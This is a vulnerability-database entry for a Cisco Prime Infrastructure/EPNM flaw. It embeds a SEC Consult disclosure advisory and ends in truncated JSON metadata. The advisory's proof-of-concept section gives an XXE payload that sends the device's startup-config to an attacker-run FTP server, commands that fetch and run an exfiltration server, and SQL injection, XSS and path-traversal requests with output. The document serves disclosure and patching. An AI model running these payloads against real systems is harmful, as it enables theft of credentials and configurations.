var-201706-0581
Vulnerability from variot

A vulnerability in the web-based user interface of Cisco Prime Infrastructure (PI) and Evolved Programmable Network Manager (EPNM) could allow an authenticated, remote attacker read and write access to information stored in the affected system as well as perform remote code execution. The attacker must have valid user credentials. The vulnerability is due to improper handling of XML External Entity (XXE) entries when parsing an XML file. An attacker could exploit this vulnerability by convincing the administrator of an affected system to import a crafted XML file with malicious entries which could allow the attacker to read and write files and execute remote code within the application, aka XML Injection. Cisco Prime Infrastructure software releases 1.1 through 3.1.6 are vulnerable. Cisco EPNM software releases 1.2, 2.0, and 2.1 are vulnerable. Cisco Bug IDs: CSCvc23894 CSCvc49561. Vendors have confirmed this vulnerability Bug ID CSCvc23894 and CSCvc49561 It is released as.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Attackers can exploit this issue to execute arbitrary code, gain access to sensitive information or cause denial-of-service conditions. Cisco Evolved Programmable Network Manager 1.2, 2.0, and 2.1. PI is a set of wireless management solutions through Cisco Prime LAN Management Solution (LMS) and Cisco Prime Network Control System (NCS) technologies; EPNM is a set of network management solutions. SEC Consult Vulnerability Lab Security Advisory < 20170622-0 > ======================================================================= title: XML External Entity Injection (XXE), SQL Injection, Cross Site Scripting, Local File Disclosure product: Cisco Prime Infrastructure vulnerable version: 1.1 through 3.1.6 fixed version: 3.1.6 Update 1 (patch), 3.1.7 (future release) CVE number: CVE-2017-6662, CVE-2017-6698, CVE-2017-6699, CVE-2017-6700 impact: high homepage: http://www.cisco.com/c/en/us/products/cloud-systems-management/prime-infrastructure/index.html found: 2016-11-21 by: P. Morimoto (Office Bangkok) SEC Consult Vulnerability Lab

                 An integrated part of SEC Consult
                 Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
                 Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

                 https://www.sec-consult.com

=======================================================================

Vendor description:

"Cisco Systems, Inc. (known as Cisco) is an American multinational technology conglomerate headquartered in San JosA(c), California, that develops, manufactures, and sells networking hardware, telecommunications equipment, and other high-technology services and products. Through its numerous acquired subsidiaries, such as OpenDNS, Cisco Meraki, and Cisco Jasper, Cisco specializes into specific tech markets, such as Internet of Things (IoT), domain security, and energy management."

Source: https://en.wikipedia.org/wiki/Cisco_Systems

Business recommendation:

SEC Consult recommends to install the latest patch to fix the identified vulnerabilities.

Since SEC Consult only performed a short security crash test on this product it is highly recommended to perform a thorough security review as there are indications for further vulnerabilities.

Vulnerability overview/description:

SEC Consult was able to identify some serious vulnerabilities with the low privileged "monitor-only" user.

The hashed password of the local admin user can be accessed without authorization.

2) SQL Injection (CVE-2017-6698) The identified SQL injection vulnerability enables an authenticated attacker with low privileges to execute arbitrary SQL commands.

3) Cross site scripting (CVE-2017-6699, CVE-2017-6700) Due to the lack of input validation, an attacker can insert malicious JavaScript code to be executed under a victim's browser context.

4) Local File Disclosure (no CVE assigned) Because of insufficient input validation, arbitrary local files can be disclosed. Files that include passwords and other sensitive information can be accessed.

Proof of concept:

1) XML External Entity Injection (CVE-2017-6662) Login with a low privileged user and navigate to Settings > Export > select Format 'PDF' click 'Export'. Make sure the 'Chart' option is selected, this chart uses XML to build SVG images.

POST /webacs/prime/ui/dashboard/renderer HTTP/1.1 Host: [...]

output-type=pdf&content={"applicationName":"sectest","reportName":"Site","options":{},"timezoneOffset":0,"items":[{"options":{"filters":[],"additionalInfo":[""]},"svgSurface":{"svg":"<%3fxml+version%3d\"1.0\"+encoding%3d\"UTF-8\"%3f><!DOCTYPE x [<!ENTITY %25 foo SYSTEM \"http://:1234/sectest.dtd\">%25%66%6f%6f%3b%25%70%61%72%61%6d%31%3b]>%26%65%78%66%69%6c%3b","dims"%3a{"width"%3a0,"height"%3a0}},"csv"%3a"Devices,\"","title"%3a"","timestamp"%3a""}],"noBrandingData"%3atrue,"locale"%3a"en"}&pdfOptions=%7B%22table%22%3Atrue%2C%22chart%22%3Atrue%7D

$ cat sectest.dtd <!ENTITY % data SYSTEM "file:///storedconfig/active/startup-config"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://:2121/%data;'>">

$ python -m SimpleHTTPServer 1234 $ wget https://raw.githubusercontent.com/ONsec-Lab/scripts/master/xxe-ftp-server.rb $ ruby xxe-ftp-server.rb FTP. New client connected < USER anonymous < PASS Java1.8.0_66@

230 more data please! < TYPE I 230 more data please! < CWD ! 230 more data please! < hostname [...] < ! 230 more data please! < username admin password hash 230 more data please! < CWD role admin 230 more data please! < ! [...]

2) SQL Injection (CVE-2017-6698) A low privileged user such as "monitor-only" user can read the admin's password hashes via SQL injection.

https:///webacs/rs/wap/preference/value/@@me/PI_RECENT_LINKS?categoryPath=global%2fPI_RECENT_LINKS https:///webacs/rs/wap/preference/value/@@me/syslog_viewer_tutorial?categoryPath= https:///webacs/rs/device-rest/getfiltercriteria/device?start=0&count=100&id=&path=%2Froot

Some vulnerable entry points require administrator privileges to exploit. https:///webacs/rs/wap/preference/value/@@me/PI_HOME_PAGE_SELECTION?categoryPath= https:///webacs/rs/wap/preference/value/@@me/corelated-right-tabs?categoryPath= https:///webacs/rs/wap/preference/value/@@me/DASHBOARD_CONFIG:com_cisco_xmp_web_page_smartlicense_dashboard?categoryPath=

https:///webacs/rs/json/userService/getAuditRecordsForGivenRange/?userName=/&ipAddress=/&time=/&auditDescription=/&userGroup=/&activeDomain=/ https:///webacs/inventoryRestService/ifm/inventory-rest/getImportTaskStatusDTO/ https:///webacs/rs/json/jobSchedulerService/getJobDetails/ https:///webacs/rs/json/jobSchedulerService/getAllJobsCtr/Infrastructure/ https:///webacs/rs/json/jobSchedulerService/getAllJobs//Lightweight%20AP%20Operational%20Status

Some URLs with this pattern are affected by the SQL injection vulnerability in the JSON field. https:///webacs/rs/preferences/systemPreferencesForNode/default.proxy/ (HTTP POST) { "items": [ "", "ProxyPort", "ProxyUserName", "ProxyPassword", "isProxyEnabled", "isProxyAuthenticated" ] }

https:///webacs/rs/preferences/systemPreferencesForNode/default.swim/ (HTTP POST) { "items": [ "", "CCOPassword" ] }

3) Cross site scripting

a) Reflected cross site scripting (CVE-2017-6699) https:///webacs/applications/common/jsp/SystemPreferences_Configurable.jsp?taskName=&confUrl=ipT> https:///webacs/applications/inventory/html/ImportJobResults.jsp?taskId=ript>&jobResultPageId='>

b) DOM-based cross site scripting (CVE-2017-6700) https:///webacs/index_abs.jsp?theme=prime#pageId=com_cisco_ifm_ui_web_page_job_dashboard_import_view&taskId=&jobName=">&pageSettings= https:///webacs/loginAction.do?action=login&product=wcs&selectedCategory=en#pageId=com_cisco_ifm_ui_web_page_job_dashboard_detail_view&forceLoad=true&jobType=Infrastructure&workState=Scheduled&parentType=usrDefined&lastRunJobId=&lastRunResultState=Success&jobId=&jobName=Mobility Service Status&jobBreadcrumName=">

4) Local File Disclosure The attacker must be in the super users or admin group in order to exploit this vulnerability.

https:///webacs/packetCaptureAction.do?command=download&filename=../../../../../../../../../../../../../../../../../../../../etc/passwd

GET /webacs/packetCaptureAction.do?command=download&filename=../../../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1 Host: [...] HTTP/1.1 200 OK Cache-Control: private Expires: Thu, 01 Jan 1970 01:00:00 CET Content-Disposition: attachement; filename="../../../../../../../../../../../../../../../../../../../../etc/passwd.zip" Content-Type: application/zip [...]

$ unzip ......................................_etc_passwd.zip Archive: ......................................_etc_passwd.zip warning: skipped "../" path component(s) in ../../../../../../../../../../../../../../../../../../../../etc/passwd inflating: etc/passwd

$ cat etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt [...]

Vulnerable / tested versions:

According to information provided by Cisco, the following versions are affected: 1.1 through 3.1.6

SEC Consult tested the following versions which were the most recent ones at the time of discovery: * 3.1.0.0.70 * 3.1.0.0.132 incl. 3.1.4 patch

Vendor contact timeline:

2016-11-23: Contacting vendor through psirt@cisco.com. 2016-11-23: Initial response from Cisco PSIRT. 2016-11-24: Additional vulnerabilities added. 2016-12-14: Cisco proposed target date for the fixes for March 2017. 2017-03-03: Cisco postponed target date for the fixes to 31 May 2017. 2017-05-16: Cisco postponed target date for the fixes to 21 June 2017. 2017-06-14: CVEs are assigned to the vulnerabilities. 2017-06-21: Patches available 2017-06-22: Coordinated release of security advisory.

Solution:

Install the patch version 3.1.6 Update 1. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/Career.htm

Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/About/Contact.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult

EOF Pichaya Morimoto / @2017

Show details on source website

To clipboard 

{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-201706-0581",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.9,
        "vendor": "cisco",
        "version": "1.4.1"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "cisco",
        "version": "2.2\\(3\\)"
      },
      {
        "model": "evolved programmable network manager",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "cisco",
        "version": "1.2.200"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "cisco",
        "version": "3.2_base"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "cisco",
        "version": "1.3.0.20"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "cisco",
        "version": "2.1.0"
      },
      {
        "model": "evolved programmable network manager",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "cisco",
        "version": "1.2.500"
      },
      {
        "model": "evolved programmable network manager",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "cisco",
        "version": "2.0\\(4.0.45d\\)"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.3,
        "vendor": "cisco",
        "version": "1.3"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.3,
        "vendor": "cisco",
        "version": "1.2"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.3,
        "vendor": "cisco",
        "version": "3.1"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.3,
        "vendor": "cisco",
        "version": "3.0"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.3,
        "vendor": "cisco",
        "version": "2.2"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.3,
        "vendor": "cisco",
        "version": "2.0"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.3,
        "vendor": "cisco",
        "version": "1.4.2"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.3,
        "vendor": "cisco",
        "version": "1.4"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.3,
        "vendor": "cisco",
        "version": "1.2.1"
      },
      {
        "model": "evolved programmable network manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "cisco",
        "version": "1.2.1.3"
      },
      {
        "model": "evolved programmable network manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "cisco",
        "version": "2.0.0"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "cisco",
        "version": "3.2\\(0.0\\)"
      },
      {
        "model": "evolved programmable network manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "cisco",
        "version": "1.2.300"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "cisco",
        "version": "3.1\\(4.0\\)"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "cisco",
        "version": "3.1\\(0.128\\)"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "cisco",
        "version": "1.4.0.45"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "cisco",
        "version": "3.1.1"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "cisco",
        "version": "3.1\\(5.0\\)"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "cisco",
        "version": "2.2\\(2\\)"
      },
      {
        "model": "evolved programmable network manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "cisco",
        "version": "1.2.0"
      },
      {
        "model": "evolved programmable network manager",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "cisco",
        "version": "1.2.400"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "cisco",
        "version": "1.2.0.103"
      },
      {
        "model": "evolved programmable network manager",
        "scope": null,
        "trust": 0.8,
        "vendor": "cisco",
        "version": null
      },
      {
        "model": "prime infrastructure",
        "scope": null,
        "trust": 0.8,
        "vendor": "cisco",
        "version": null
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "cisco",
        "version": "3.0.0"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 0.6,
        "vendor": "cisco",
        "version": "3.0_base"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "3.1.6"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "3.1.5"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "3.0.3"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "3.0.2"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "3.2"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "3.1(1)"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "2.0.0"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "1.4.0"
      },
      {
        "model": "prime infrastructure",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "1.1"
      },
      {
        "model": "evolved programmable network manager",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "2.1"
      },
      {
        "model": "evolved programmable network manager",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "2.0"
      },
      {
        "model": "evolved programmable network manager",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "1.2"
      },
      {
        "model": "prime infrastructure update",
        "scope": "ne",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "3.1.61"
      }
    ],
    "sources": [
      {
        "db": "BID",
        "id": "99194"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-005143"
      },
      {
        "db": "NVD",
        "id": "CVE-2017-6662"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201706-953"
      }
    ]
  },
  "configurations": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/configurations#",
      "children": {
        "@container": "@list"
      },
      "cpe_match": {
        "@container": "@list"
      },
      "data": {
        "@container": "@list"
      },
      "nodes": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "children": [],
            "cpe_match": [
              {
                "cpe23Uri": "cpe:2.3:a:cisco:evolved_programmable_network_manager:1.2.0:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:evolved_programmable_network_manager:1.2.300:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:evolved_programmable_network_manager:2.0.0:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:3.1:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:evolved_programmable_network_manager:1.2.200:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:1.4.1:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:1.3.0.20:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:1.2.1:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:1.4.0.45:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:3.1\\(0.128\\):*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:3.2\\(0.0\\):*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:3.1\\(4.0\\):*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:2.2:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:1.2:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:2.2\\(2\\):*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:1.4.2:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:1.2.0.103:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:3.1.1:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:2.2\\(3\\):*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:3.0:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:evolved_programmable_network_manager:2.0\\(4.0.45d\\):*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:evolved_programmable_network_manager:1.2.500:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:2.0:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:evolved_programmable_network_manager:1.2.400:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:3.1\\(5.0\\):*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:1.4:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:evolved_programmable_network_manager:1.2.1.3:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:1.3:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:3.2_base:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              },
              {
                "cpe23Uri": "cpe:2.3:a:cisco:prime_infrastructure:2.1.0:*:*:*:*:*:*:*",
                "cpe_name": [],
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2017-6662"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "The vendor reported this issue.",
    "sources": [
      {
        "db": "BID",
        "id": "99194"
      }
    ],
    "trust": 0.3
  },
  "cve": "CVE-2017-6662",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "acInsufInfo": false,
            "accessComplexity": "MEDIUM",
            "accessVector": "NETWORK",
            "authentication": "SINGLE",
            "author": "NVD",
            "availabilityImpact": "PARTIAL",
            "baseScore": 6.0,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 6.8,
            "impactScore": 6.4,
            "integrityImpact": "PARTIAL",
            "obtainAllPrivilege": false,
            "obtainOtherPrivilege": false,
            "obtainUserPrivilege": false,
            "severity": "MEDIUM",
            "trust": 1.0,
            "userInteractionRequired": true,
            "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:P",
            "version": "2.0"
          },
          {
            "acInsufInfo": null,
            "accessComplexity": "Medium",
            "accessVector": "Network",
            "authentication": "Single",
            "author": "NVD",
            "availabilityImpact": "Partial",
            "baseScore": 6.0,
            "confidentialityImpact": "Partial",
            "exploitabilityScore": null,
            "id": "CVE-2017-6662",
            "impactScore": null,
            "integrityImpact": "Partial",
            "obtainAllPrivilege": null,
            "obtainOtherPrivilege": null,
            "obtainUserPrivilege": null,
            "severity": "Medium",
            "trust": 0.8,
            "userInteractionRequired": null,
            "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:P",
            "version": "2.0"
          },
          {
            "accessComplexity": "MEDIUM",
            "accessVector": "NETWORK",
            "authentication": "SINGLE",
            "author": "VULHUB",
            "availabilityImpact": "PARTIAL",
            "baseScore": 6.0,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 6.8,
            "id": "VHN-114865",
            "impactScore": 6.4,
            "integrityImpact": "PARTIAL",
            "severity": "MEDIUM",
            "trust": 0.1,
            "vectorString": "AV:N/AC:M/AU:S/C:P/I:P/A:P",
            "version": "2.0"
          }
        ],
        "cvssV3": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "author": "NVD",
            "availabilityImpact": "HIGH",
            "baseScore": 8.0,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "exploitabilityScore": 2.1,
            "impactScore": 5.9,
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "trust": 1.0,
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.0"
          },
          {
            "attackComplexity": "Low",
            "attackVector": "Network",
            "author": "NVD",
            "availabilityImpact": "High",
            "baseScore": 8.0,
            "baseSeverity": "High",
            "confidentialityImpact": "High",
            "exploitabilityScore": null,
            "id": "CVE-2017-6662",
            "impactScore": null,
            "integrityImpact": "High",
            "privilegesRequired": "Low",
            "scope": "Unchanged",
            "trust": 0.8,
            "userInteraction": "Required",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.0"
          }
        ],
        "severity": [
          {
            "author": "NVD",
            "id": "CVE-2017-6662",
            "trust": 1.8,
            "value": "HIGH"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-201706-953",
            "trust": 0.6,
            "value": "HIGH"
          },
          {
            "author": "VULHUB",
            "id": "VHN-114865",
            "trust": 0.1,
            "value": "MEDIUM"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-114865"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-005143"
      },
      {
        "db": "NVD",
        "id": "CVE-2017-6662"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201706-953"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "A vulnerability in the web-based user interface of Cisco Prime Infrastructure (PI) and Evolved Programmable Network Manager (EPNM) could allow an authenticated, remote attacker read and write access to information stored in the affected system as well as perform remote code execution. The attacker must have valid user credentials. The vulnerability is due to improper handling of XML External Entity (XXE) entries when parsing an XML file. An attacker could exploit this vulnerability by convincing the administrator of an affected system to import a crafted XML file with malicious entries which could allow the attacker to read and write files and execute remote code within the application, aka XML Injection. Cisco Prime Infrastructure software releases 1.1 through 3.1.6 are vulnerable. Cisco EPNM software releases 1.2, 2.0, and 2.1 are vulnerable. Cisco Bug IDs: CSCvc23894 CSCvc49561. Vendors have confirmed this vulnerability Bug ID CSCvc23894 and CSCvc49561 It is released as.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. \nAttackers can exploit this issue to execute arbitrary code, gain access to sensitive information or cause denial-of-service conditions. \nCisco Evolved Programmable Network Manager 1.2, 2.0, and 2.1. PI is a set of wireless management solutions through Cisco Prime LAN Management Solution (LMS) and Cisco Prime Network Control System (NCS) technologies; EPNM is a set of network management solutions. SEC Consult Vulnerability Lab Security Advisory \u003c 20170622-0 \u003e\n=======================================================================\n              title: XML External Entity Injection (XXE),\n                     SQL Injection, Cross Site Scripting,\n                     Local File Disclosure\n            product: Cisco Prime Infrastructure\n vulnerable version: 1.1 through 3.1.6\n      fixed version: 3.1.6 Update 1 (patch), 3.1.7 (future release)\n         CVE number: CVE-2017-6662, CVE-2017-6698, CVE-2017-6699, CVE-2017-6700\n             impact: high\n           